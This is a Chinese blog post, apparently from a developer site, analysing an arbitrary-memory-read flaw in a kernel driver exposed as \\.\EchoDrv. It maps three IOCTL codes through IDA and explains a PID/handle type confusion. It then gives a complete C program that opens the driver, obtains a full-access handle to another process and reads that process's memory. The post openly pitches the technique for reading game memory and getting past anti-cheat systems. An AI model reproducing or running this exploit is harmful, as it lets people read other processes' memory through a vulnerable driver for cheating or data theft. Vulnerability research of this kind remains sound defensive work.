某驱动任意读漏洞分析 - 可用于游戏内存数据读取

涉及到的核心函数

MmCopyVirtualMemory:是 Windows 内核模式下的一个核心函数,主要用于在不同进程的虚拟地址空间之间,或在进程与内核空间之间安全地复制内存数据。他并非公开文档化的官方 API,但被 Windows 内核内部广泛使用,是实现进程内存读写功能的基础。

cpp 复制代码
NTSTATUS MmCopyVirtualMemory(
    IN PEPROCESS SourceProcess,      // 源进程的 EPROCESS 指针
    IN PVOID SourceAddress,          // 源进程中的虚拟地址
    IN PEPROCESS TargetProcess,      // 目标进程的 EPROCESS 指针
    OUT PVOID TargetAddress,         // 目标进程中的虚拟地址
    IN SIZE_T BufferSize,            // 要复制的字节数
    IN KPROCESSOR_MODE PreviousMode, // 调用者模式(通常为 KernelMode)(也可为 UserMode)
    OUT PSIZE_T ReturnSize           // 实际复制的字节数(可选)
);

导入 IDA,找到 MmCopyVirtualMemory 函数,如下图所示

接着交叉引用看谁调用了 MmCopyVirtualMemory 这个函数,如下图所示 sub_140001B80 调用了 MmCopyVirtualMemory 函数

接着交叉引用可以看到 sub_140001830 调用了 sub_140001B80 函数

在 sub_140001B80 函数中可以获取到 IOCTL 控制码,如下图所示可知要进入 sub_140001B80 需要满足 IOCTL 控制码为 0x60A26124。sub_140001B80 也就是任意读漏洞函数

当然在进入 switch 前要先满足 dword_14000410C 的值不为 0

dword_14000410C 是一个全局变量,交叉引用看看该全局变量的值怎么获取,如下图所示可以看到 dword_14000410C 存储的是进程 ID。

并且可以看到获取进程 PID 的操作是在 sub_1400012BC 函数中的

要进入 sub_1400012BC 函数需要满足 IOCTL 控制码为 0x9E6A0594

0xE6224248 分支

接着先分析一下 0xE6224248 分支

PsLookupProcessByProcessId 是 Windows 内核模式下的一个核心函数,用于根据指定的进程标识符(PID)查找并返回对应进程的 EPROCESS 结构体指针。

cpp 复制代码
NTSTATUS PsLookupProcessByProcessId(
    [in]  HANDLE ProcessId,
    [out] PEPROCESS *Process
);

ObOpenObjectByPointer 是 Windows 内核模式下的一个核心函数,用于通过对象的指针直接打开该对象并返回一个句柄。

cpp 复制代码
NTSTATUS ObOpenObjectByPointer(
    [in]  PVOID                   Object,
    [in]  ULONG                   HandleAttributes,
    [in, optional] PACCESS_STATE  PassedAccessState,
    [in]  ACCESS_MASK             DesiredAccess,
    [in, optional] POBJECT_TYPE   ObjectType,
    [in]  KPROCESSOR_MODE         AccessMode,
    [out] PHANDLE                 Handle
);

如下图所示,0xE6224248 分支的作用是:接收一个进程 ID(用户态传递) -> 通过 PsLookupProcessByProcessId 找到进程对象 -> 通过 ObOpenObjectByPointer 打开进程句柄 -> 将句柄存入 IRP 的 MdlAddress 字段返回。

AssociatedIrp.MasterIrp->MdlAddress

所以 0xE6224248 分支的作用是传入目标进程 ID 然后获取目标进程的句柄。这样在构造数据缓冲区的话就需要传递 2 个成员进去,一个是 PID,一个是访问权限

复制代码
cpp 复制代码
v7->Type     :PID
v7->Size + 1 :访问权限
cpp 复制代码
typedef struct {
    DWORD       Type;    // PID
    ACCESS_MASK access;  // 访问权限
    HANDLE      handle;  // 存储返回的句柄
}HandlerStruct;

0x60A26124 分支

cpp 复制代码
ObReferenceObjectByHandle(
    *(HANDLE *)&v8->Type,          // Handle:从IRP的Type字段读取的句柄值
    0,                             // DesiredAccess:0(无特定权限)
    (POBJECT_TYPE)PsProcessType,   // ObjectType:进程对象类型
    0,                             // AccessMode:KernelMode(内核模式)
    (PVOID *)&Process,             // Object:输出的进程对象指针
    0LL                            // HandleInformation:无
)

这里的 &v8->Type 表示的是一个句柄

这里可能会有疑问,Type 存储的到底是 PID 还是句柄。其实都可以。在 0xE6224248 分支的 PsLookupProcessByProcessId 中 Type 作为一个 PID ;在 0x60A26124 分支的 ObReferenceObjectByHandle 中 Type 作为一个句柄

原因 :Windows 内核中,HANDLE 本质是一个无符号整数(32 位系统是 DWORD,64 位系统是 ULONG64),而 PID 也是无符号整数,因此驱动可以不做类型校验,直接将同一个内存字段 Type 在不同分支下解析为不同含义,这也是该驱动的重要漏洞点。攻击者可以任意构造 Type 字段的值,在不同分支间传递数据,比如把 0xE6224248 分支返回的句柄直接填写到 Type 字段,触发 0x60A26124 分支

要调用 MmCopyVirtualMemory,必须传 4 个核心参数,如上图所示 IDA 在反编译的时候并没有显示指出参数但是不代表不需要。

参数 对应的 IRP 字段 含义
SourceProcess AssociatedIrp.MasterIrp->Type 目标进程对象
SourceAddress AssociatedIrp.MasterIrp->MdlAddress 要读取的内存地址
TargetAddress AssociatedIrp.MasterIrp->AssociatedIrp.MasterIrp 接收数据的缓冲区地址
BufferSize AssociatedIrp.MasterIrp->ThreadListEntry.Flink 要读取的长度
cpp 复制代码
typedef struct {
    HANDLE sourceProcess;     // 目标进程对象
    void* sourceAddress;      // 要读取的内存地址
    void* getInfoBuffer;      // 接收数据的缓冲区地址
    size_t length;            // 要读取的长度
}ReadAddress;

流程总结

1、获取到符号链接:\\.\EchoDrv

2、令控制码为 0x9E6A0594,为 dword_14000410C (PID) 变量赋值,使其能够满足 if 条件执行 switch 语句

3、令控制码为 0xE6224248,获取到目标进程句柄

4、令控制码为 0x60A26124,实现最终的指定内存读取

这类漏洞常被用来绕过游戏反作弊系统实现 内存 读取操作。

代码编写

cpp 复制代码
DeviceIoControl 参数解释
- hDevice Long,             设备句柄
- dwIoControlCode Long,     应用程序调用驱动程序的控制命令,就是IOCTL_XXX IOCTLs。
- lpInBuffer Any,           应用程序传递给驱动程序的数据缓冲区地址。
- nInBufferSize Long,       应用程序传递给驱动程序的数据缓冲区大小,字节数。
- lpOutBuffer Any,          驱动程序返回给应用程序的数据缓冲区地址。
- nOutBufferSize Long,      驱动程序返回给应用程序的数据缓冲区大小,字节数。
- lpBytesReturned Long,     驱动程序实际返回给应用程序的数据字节数地址。
- lpOverlapped OVERLAPPED,  这个结构用于重叠操作。针对同步操作,请用ByVal As Long传递零值

安装并启动驱动服务

cpp 复制代码
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>

typedef struct {
    DWORD       Type;         // PID
    ACCESS_MASK access;       // 访问权限
    HANDLE      handle;       // 存储返回的句柄
}HandlerStruct;

typedef struct {
    HANDLE sourceProcess;     // 目标进程对象
    void* sourceAddress;      // 要读取的内存地址
    void* getInfoBuffer;      // 接收数据的缓冲区地址
    size_t length;            // 要读取的长度
}ReadAddress;

int main() {
    // 设置控制台输出编码
    SetConsoleOutputCP(CP_UTF8);

    // 以读写方式打开驱动程序
    HANDLE hDevice = CreateFileA("\\\\.\\EchoDrv", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("驱动打开失败\n");
        return -1;
    }

    // 让驱动填充 PID
    void* buffer = (void*)malloc(4096);
    BOOL successOne = DeviceIoControl(hDevice, 0x9E6A0594, NULL, NULL, buffer, 4096, NULL, NULL);
    if (!successOne) {
        printf("Error IOCTL: 0x9E6A0594\n");
        return -1;
    }
    free(buffer);

    // 获取进程句柄
    HandlerStruct handlerStruct = { 0 };
    handlerStruct.Type = 5152;            // 目标进程 PID
    handlerStruct.access = GENERIC_ALL;   // 设置访问权限

    BOOL successTwo = DeviceIoControl(hDevice, 0xE6224248, &handlerStruct, sizeof(handlerStruct), &handlerStruct, sizeof(handlerStruct), NULL, NULL);
    if (!successTwo) {
        printf("Error IOCTL: 0xE6224248\n");
        return -1;
    }
    printf("Process Handle: %d\n", handlerStruct.handle);      // 返回进程的句柄

    // 读取目标进程内存
    uint64_t returnBuffer = 0;
    ReadAddress outputAddress = { 0 };
    ReadAddress readAddress = { 0 };
    readAddress.sourceProcess = handlerStruct.handle;          // 目标进程句柄
    readAddress.sourceAddress = (void*)0x7FF7594C1008;         // 目标进程的内存地址
    readAddress.length = 8;                                    // 读 8 个字节
    readAddress.getInfoBuffer = &returnBuffer;                 // 存放结果的缓冲区地址

    BOOL successThree = DeviceIoControl(hDevice, 0x60A26124, &readAddress, sizeof(readAddress), &outputAddress, sizeof(readAddress), NULL, NULL);
    if (!successThree) {
        printf("Error IOCTL: 0x60A26124\n");
        return -1;
    }

    printf("从地址 0x%p 读取的值:0x%01611x\n", readAddress.sourceAddress, returnBuffer);

    system("pause");

    return 0;
}

只要你传的 IOCTL 码正确,驱动就会按固定偏移解析 IRP 缓冲区,不管你用什么结构体,只要字段对齐就能成功

相关推荐
为何创造硅基生物21 小时前
C语言 结构体内存对齐规则(通俗易懂版)
c语言·开发语言
仰泳之鹅21 小时前
【C语言】自定义数据类型2——联合体与枚举
c语言·开发语言·算法
jolimark1 天前
C语言自学攻略:小白入门三步走
c语言·编程入门·学习路线·实践项目·自学攻略
Likeadust1 天前
私有化视频会议系统/智能会议管理系统EasyDSS集群通话助力各行业安全高效远程协作
安全
cen__y1 天前
Linux12(Git01)
linux·运维·服务器·c语言·开发语言·git
社交怪人1 天前
【算平均分】信息学奥赛一本通C语言解法(题号2071)
c语言·开发语言
卢锡荣1 天前
单芯通吃,盲插标杆 —— 乐得瑞 LDR6020,Type‑C 全场景互联 “智慧芯”
c语言·开发语言·计算机外设
AI科技星1 天前
《数学公理体系·第三部·数术几何》(2026 年版)
c语言·开发语言·线性代数·算法·矩阵·量子计算·agi
德思特1 天前
通过 Wireshark 抓取串口命令
网络协议·测试工具·wireshark
审判长烧鸡1 天前
【Go工具】go-playground是什么组织?官方的?
开发语言·安全·go